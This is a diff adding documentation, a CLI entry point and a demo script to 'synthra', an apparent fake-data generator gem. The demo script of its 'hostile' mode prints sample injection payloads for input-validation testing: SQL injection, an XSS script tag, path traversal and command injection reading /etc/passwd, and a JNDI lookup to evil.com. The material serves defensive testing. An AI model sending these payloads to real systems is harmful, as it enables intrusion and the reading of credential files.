synthra 0.1.0

data/docs/troubleshooting.md

@@ -0,0 +1,215 @@
+# Troubleshooting
+
+Common issues and solutions when using FakeDataDSL.
+
+## Common Errors
+
+### ParseError
+
+**Problem:** Schema syntax error
+
+```ruby
+# Error: ParseError: Unexpected token at line 3
+User:
+  id: uuid
+  name: name
+  email  # Missing colon
+```
+
+**Solution:** Check syntax, ensure all fields have colons
+
+```ruby
+User:
+  id: uuid
+  name: name
+  email: email  # Fixed
+```
+
+### UnknownTypeError
+
+**Problem:** Type not recognized
+
+```ruby
+# Error: UnknownTypeError: Unknown type 'mytype'
+User:
+  value: mytype
+```
+
+**Solution:** Register the type or use correct type name
+
+```ruby
+# Option 1: Register custom type
+FakeDataDSL.register_type(:mytype) { |rng| "value" }
+
+# Option 2: Use correct type name
+User:
+  value: text
+```
+
+### CyclicReferenceError
+
+**Problem:** Circular references between schemas
+
+```ruby
+# Error: CyclicReferenceError
+User:
+  order_id: reference(Order, id)
+
+Order:
+  user_id: reference(User, id)
+```
+
+**Solution:** Break the cycle or use different approach
+
+```ruby
+# Option 1: Remove one reference
+User:
+  id: uuid
+
+Order:
+  user_id: reference(User, id)
+
+# Option 2: Use separate field
+User:
+  id: uuid
+  orders: array(reference(Order, id))
+```
+
+### RecursionLimitError
+
+**Problem:** Too deep recursion
+
+```ruby
+# Error: RecursionLimitError
+# Deeply nested references
+```
+
+**Solution:** Increase limit or reduce nesting
+
+```ruby
+# Increase limit
+FakeDataDSL.configure do |config|
+  config.max_recursion = 20
+end
+
+# Or reduce nesting depth
+```
+
+### UniquenessError
+
+**Problem:** Cannot satisfy uniqueness constraint
+
+```ruby
+# Error: UniquenessError
+User:
+  email: email unique  # Only 2 possible values, but need 100 unique
+```
+
+**Solution:** Use more diverse types or remove uniqueness
+
+```ruby
+# Option 1: Use more diverse type
+User:
+  email: email  # Remove unique if not needed
+
+# Option 2: Use UUID for guaranteed uniqueness
+User:
+  id: uuid unique
+```
+
+## Performance Issues
+
+### Slow Generation
+
+**Problem:** Generation is too slow
+
+**Solutions:**
+- Reduce latency behaviors
+- Use simpler types
+- Increase resource limits
+- Use streaming for large datasets
+
+```ruby
+# Remove latency
+User:
+  # @latency 100ms  # Remove if not needed
+  id: uuid
+  name: name
+```
+
+### Memory Issues
+
+**Problem:** Out of memory with large datasets
+
+**Solution:** Use streaming
+
+```ruby
+# Good - memory efficient
+schema.generate_many_stream(100000).each do |record|
+  process(record)
+end
+
+# Bad - loads all into memory
+records = schema.generate_many(100000)
+```
+
+## Data Quality Issues
+
+### Unrealistic Data
+
+**Problem:** Generated data doesn't look realistic
+
+**Solution:** Use appropriate types and ranges
+
+```ruby
+# Good - realistic
+User:
+  age: number(18..65)
+  email: email
+  created_at: past_date(days: 365)
+
+# Bad - unrealistic
+User:
+  age: number(0..1000)
+  email: text
+  created_at: text
+```
+
+### Missing Fields
+
+**Problem:** Fields are sometimes missing
+
+**Solution:** Check for optional/partial_data behaviors
+
+```ruby
+# Remove optional if not needed
+User:
+  # phone: phone optional  # Remove optional
+  phone: phone
+```
+
+## Configuration Issues
+
+### Seed Not Working
+
+**Problem:** Different data with same seed
+
+**Solution:** Ensure seed is set before generation
+
+```ruby
+# Good - set seed first
+FakeDataDSL.configure { |c| c.seed = 12345 }
+record = schema.generate
+
+# Bad - set seed after
+record = schema.generate
+FakeDataDSL.configure { |c| c.seed = 12345 }
+```
+
+## Getting Help
+
+- Check [Examples](examples.md) for usage patterns
+- Review [DSL Reference](dsl_reference.md) for syntax
+- See [Best Practices](best_practices.md) for recommendations
+- Open an issue on GitHub
+

data/docs/type_reference.md

@@ -0,0 +1,224 @@
+# Type Reference
+
+Complete reference for all available data types in FakeDataDSL.
+
+## Basic Types
+
+### Identifiers
+
+- **`uuid`** - UUID v4 identifier
+  ```ruby
+  id: uuid
+  id: uuid(version: 6)  # UUID v6
+  id: uuid(version: 7)  # UUID v7
+  ```
+
+- **`ulid`** - ULID identifier
+  ```ruby
+  id: ulid
+  ```
+
+- **`id_sequence`** - Sequential numeric IDs
+  ```ruby
+  id: id_sequence
+  id: id_sequence(start: 1000)
+  ```
+
+### Strings
+
+- **`name`** - Full person name
+  ```ruby
+  name: name
+  ```
+
+- **`text`** - Random text
+  ```ruby
+  description: text
+  bio: text(100..500)  # Length range
+  ```
+
+- **`email`** - Email address
+  ```ruby
+  email: email
+  ```
+
+- **`phone`** - Phone number
+  ```ruby
+  phone: phone
+  phone: phone(country: :us)
+  ```
+
+- **`url`** - Web URL
+  ```ruby
+  website: url
+  ```
+
+### Numbers
+
+- **`number`** - Numeric value
+  ```ruby
+  age: number(18..65)
+  price: number(min: 10, max: 100)
+  ```
+
+- **`boolean`** - True/false
+  ```ruby
+  active: boolean
+  ```
+
+### Dates and Times
+
+- **`date`** - Calendar date
+  ```ruby
+  birth_date: date
+  birth_date: date(2020-01-01..2024-12-31)
+  ```
+
+- **`past_date`** - Date in the past
+  ```ruby
+  created_at: past_date
+  created_at: past_date(days: 30)
+  ```
+
+- **`future_date`** - Date in the future
+  ```ruby
+  expires_at: future_date
+  expires_at: future_date(days: 90)
+  ```
+
+- **`timestamp`** - Unix timestamp
+  ```ruby
+  created_at: timestamp
+  ```
+
+- **`now`** - Current timestamp
+  ```ruby
+  updated_at: now
+  ```
+
+## Personal Information Types
+
+- **`first_name`** - Given name
+- **`last_name`** - Family name
+- **`full_name`** - Combined first and last name
+- **`gender`** - Gender identity
+- **`age`** - Age value
+- **`username`** - Username identifier
+- **`national_id`** - Government ID (SSN, etc.)
+
+## Location Types
+
+- **`country`** - Country name
+- **`country_code`** - ISO country code (US, GB, etc.)
+- **`city`** - City name
+- **`state`** - State/province name
+- **`address`** - Full street address
+- **`postal_code`** - Postal/ZIP code
+- **`latitude`** - Geographic latitude
+- **`longitude`** - Geographic longitude
+- **`timezone`** - IANA timezone identifier
+
+## Commerce Types
+
+- **`product_name`** - Product name
+- **`product_category`** - Product category
+- **`sku`** - Stock keeping unit
+- **`money`** - Monetary amount
+- **`discount`** - Discount value
+- **`tax_rate`** - Tax rate percentage
+
+## Finance Types
+
+- **`credit_card`** - Credit card number (Luhn-valid)
+- **`bank_name`** - Bank name
+- **`account_number`** - Bank account number
+- **`iban`** - International Bank Account Number
+- **`transaction_amount`** - Financial transaction amount
+
+## Internet/IT Types
+
+- **`ip`** - IPv4 address
+- **`ipv6`** - IPv6 address
+- **`mac_address`** - MAC address
+- **`domain`** - Domain name
+- **`user_agent`** - Browser user agent string
+
+## Crypto Types
+
+- **`hash`** - Cryptographic hash
+- **`bitcoin_address`** - Bitcoin wallet address
+- **`ethereum_address`** - Ethereum wallet address
+- **`private_key`** - Cryptographic private key
+
+## Health Types
+
+- **`blood_type`** - Blood group (A+, B-, etc.)
+- **`bmi`** - Body Mass Index
+- **`heart_rate`** - Heart beats per minute
+- **`medical_code`** - Medical classification code
+
+## Travel Types
+
+- **`airport_code`** - IATA airport code
+- **`airline`** - Airline name
+- **`flight_number`** - Flight identifier
+- **`seat_number`** - Aircraft seat number
+
+## Advanced Types
+
+- **`enum`** - Enumeration with values
+  ```ruby
+  status: enum(active, inactive, pending)
+  status: enum(active: 80%, inactive: 15%, pending: 5%)
+  ```
+
+- **`array`** - Array of values
+  ```ruby
+  tags: array(text, 3..10)
+  scores: array(number(0..100), 5)
+  ```
+
+- **`object`** - Nested object
+  ```ruby
+  address: object(
+    street: text,
+    city: city,
+    zip: postal_code
+  )
+  ```
+
+- **`reference`** - Reference another schema
+  ```ruby
+  user_id: reference(User, id)
+  ```
+
+- **`custom`** - Custom function
+  ```ruby
+  slug: custom(:generate_slug)
+  ```
+
+- **`formula`** - Computed value
+  ```ruby
+  total: formula(price * quantity)
+  ```
+
+- **`template`** - String interpolation
+  ```ruby
+  greeting: template("Hello {first_name}!")
+  ```
+
+- **`sequence`** - Sequential values
+  ```ruby
+  order: sequence(start: 1, step: 1)
+  ```
+
+- **`default_value`** - Default value with probability
+  ```ruby
+  status: default_value(value: "active", probability: 0.9)
+  ```
+
+## See Also
+
+- [DSL Reference](dsl_reference.md) - Syntax details
+- [Examples](examples.md) - Usage examples
+

data/examples/hostile_mode_demo.rb

@@ -0,0 +1,64 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+# Demonstration script for :hostile mode in FakeDataDSL
+#
+# This script shows how to use the new:hostile generation mode
+# to create security testing payloads
+
+require_relative "lib/fake_data_dsl"
+
+puts "=" * 80
+puts "FakeDataDSL - Hostile Mode Demonstration"
+puts "Security Testing & Payload Generation"
+puts "=" * 80
+puts
+
+# Define a User schema with various field types
+user_dsl = <<~DSL
+  User:
+    id: uuid
+    username: text(10..20)
+    age: number(18..100)
+    bio: text(50..200)
+    score: number(0..1000)
+DSL
+
+schema = FakeDataDSL.parse(user_dsl)
+
+# Generate normal data
+puts "1. NORMAL Mode (:random)"
+puts "-" * 80
+normal_user = schema.generate(seed: 42, mode: :random)
+puts JSON.pretty_generate(normal_user)
+puts
+
+# Generate hostile data for security testing
+puts "2. HOSTILE Mode (:hostile) - Security Testing Payloads"
+puts "-" * 80
+puts "This mode generates malicious payloads to test system defenses:\n\n"
+
+5.times do |i|
+  puts "Sample ##{i + 1}:"
+  hostile_user = schema.generate(seed: 100 + i, mode: :hostile)
+  puts JSON.pretty_generate(hostile_user)
+  puts
+end
+
+puts "=" * 80
+puts "Hostile Payload Categories Generated:"
+puts "=" * 80
+puts "✓ SQL Injection (SQLi): ' OR '1'='1, admin'--"
+puts "✓ XSS (Cross-Site Scripting): <script>alert('XSS')</script>"
+puts "✓ Path Traversal: ../../../etc/passwd"
+puts "✓ Buffer Overflows: 'A' * 100000"
+puts "✓ Number Overflows: 2^63, Float::INFINITY, Float::NAN"
+puts "✓ Unicode Edge Cases: Zalgo text, RTL overrides"
+puts "✓ Command Injection: ; ls -la, | cat /etc/passwd"
+puts "✓ Template Injection: {{7*7}}, ${jndi:ldap://evil.com}"
+puts
+puts "Use Case: API Security Testing"
+puts "- Send these payloads to API endpoints to verify proper sanitization"
+puts "- Test database query parameterization"
+puts "- Verify input validation and escaping"
+puts "=" * 80

data/exe/synthra

@@ -0,0 +1,6 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "synthra"
+
+exit Synthra::CLI.new(ARGV).run